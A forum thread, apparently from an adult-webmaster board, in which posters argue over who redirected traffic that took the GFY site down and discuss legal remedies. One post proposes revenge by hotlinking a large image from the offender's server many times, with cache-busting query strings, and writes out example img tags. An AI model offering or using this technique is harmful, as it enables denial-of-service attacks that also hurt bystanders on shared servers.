      So just block access from that url with htaccess ... ?
      SIG TOO BIG! Maximum 120x60 button and no more than 3 text lines of DEFAULT SIZE and COLOR. Unless your sig is for a GFY top banner sponsor, then you may use a 624x80 instead of a 120x60.

        It's a 404 redirect, it won't work.

        We have blocked it, but it still creates a load on the server. Until we blocked it, GFY was down.

                I am assuming that the culprit here is elephantlist for sourcing the crazygals page.

                Last year sometime I had a very similar problem with this site. He was image sourcing a bunch of stuff off of my tour causing my bandwidth to skyrocket. It was so bad I had to throttle my own site so that the server wouldn't crash.

                I had to go so far as to contact his hosting company which at the time was flying crocodile and sent both him and them a cease and desist order.

                You would think he would have learned from that incident but apparently he did not.

                Your best bet I would think would be to contact the hosting company and mention the legal ramifications of bandwidth theft. They should quickly put a stop to it then

                          Mike I wrote Hoffman at Elephantlist the minute I hung up with you, I cc the letter to you and lensman. It isnt Elephantlist doing it to you its the guy hes trying to fuck that is redirecting the traffic to GFY. Hoffman just wrote me back and its stopped. Hoffman is a very good guy. this was done to get back at some scum that was cheating him, and not GFY.

                            If you want to fuck them back really hard, find a resource intensive URL on their server, and img src it 100 times from one page.. to make it actually load instead of just using the cached copy, append a dummy query string. Like so:

                            &lt;img src="http://you'redead.com/big.gif?a"&gt;
                            &lt;img src="http://you'redead.com/big.gif?b"&gt;
                            &lt;img src="http://you'redead.com/big.gif?c"&gt;
                            &lt;img src="http://you'redead.com/big.gif?d"&gt;
                            &lt;img src="http://you'redead.com/big.gif?e"&gt;
                            &lt;img src="http://you'redead.com/big.gif?f"&gt;
                            &lt;img src="http://you'redead.com/big.gif?g"&gt;
                            &lt;img src="http://you'redead.com/big.gif?h"&gt;
                            &lt;img src="http://you'redead.com/big.gif?i"&gt;

                            and so on...

                                Hoffmann and Elephantlist has always been 100% cool and 100% honest with us. I emailed him about this too and I'm sure he will take care of it.

                                              I guess so...
                                              It works.

                                              Lots of people are irratated with elephantlist now, and he didnt even mean for this to happen.

                                                        Yes but he still tried to fuck over the owner of crazygals.com

                                                        So maybe the guy pulled a gallery or whatever he may have done. Elephantlist can ban the guy & no longer post his galleries, but it doesn't give him the right to img src from crazygals site.

                                                        Let's assume that crazygals is on a shared server and because of elephantlist's tactics this causes other sites on the box to run slow or crash. Then you have other webmasters losing money and their billing companies losing money as well.

                                                        So in essence elephantlist's effort to try and fuck over crazygals could wind up fucking over other site owners and billing companies as well

                                                              Hoffman (elephant list) is a good and reputable guy. I really doubt he's at fault here. Get your facts straight before forming a lynch mob against him, he has a LOT of HIGH TRAFFIC friends that WILL stand up for him and we get pissed off when he gets accused of crap he's not really responsible for.
                                                              This dog, is dog, a dog, good dog, way dog, to dog, keep dog, an dog, idiot dog, busy dog, for dog, 20 dog, seconds dog!

                                                              Now read without the word dog.

                                                                Sleazy, explain to me what is "good and reputable" about maliciously attempting to shut down someones server by img srcing from their site?

                                                                I don't know who the owner of crazygals.com is and frankly it really doesn't matter much but if you look at the gallery url that was 404'd and change the index numbers you can see that he is likely using some sort of autosubmitter judging by how the buttons are laid out on the page and the numbering system

                                                                examples:
                                                                http://crazygals.com/gal/050320022/index115.html
                                                                http://crazygals.com/gal/050320022/index117.html

                                                                Those are the gallery URL's preceding and following the one that was 404'd

                                                                My best guess is that the owner of crazygals fucked up somehow and the gallery was 404'd. But for sake of arguement let's assume that crazygals did do something to cheat elephantlist in some way. That still does not give him the right to do what he did.

                                                                This is Hoffman's MO too as he has done this in the past. Whether or not he may be a good guy to other or if he has boatloads of traffic none of that really matters.

                                                                Let's say you owned a store and one of your suppliers fucked you over in some way. That doesn't give you the right to set his offices on fire does it? Bad analogy maybe, but hell its late here LOL.

                                                                All I am saying is that what he did is flat out wrong and it not only effected the intended recipient but other sites as well as GFY felt the brunt of this attack.

It was a DOS attack then, it's one now. His host is in the US, crazygals dude should report the fucker and threaten to sue the ISP if they don't stop it. That'll get his dumb ass shut down fast.

                                                                    Just because some of you vigilante types think that he's a "cool guy" and he must be justified, doesn't make it legal.

                                                                    It's not legal when the Hun does it either. Fuck him with the law, he's no better than a little script kiddie, he's just got a bigger stick.

                                                                    EDIT: I remember who he was image sourcing - it was "juicylinks" for not wanting his traffic and redirecting it after elephant list "picked up" one of his galleries. GFY no longer seems to have the thread, or my search skillz just suck.

                                                                    Cheers,

                                                                        But, it was probably there, as he HAS done this before.

Many innocent people get hurt in the process, if a site is on a virtual box, all the other customers on there get hurt, potentially everyone on that ISP gets hurt, and in this case GFY got hurt. If you have a problem with someone, DON'T DO BUSINESS WITH THEM! Write some good scripts and DON'T LINK TO THEM! It isn't that hard to blacklist someone.
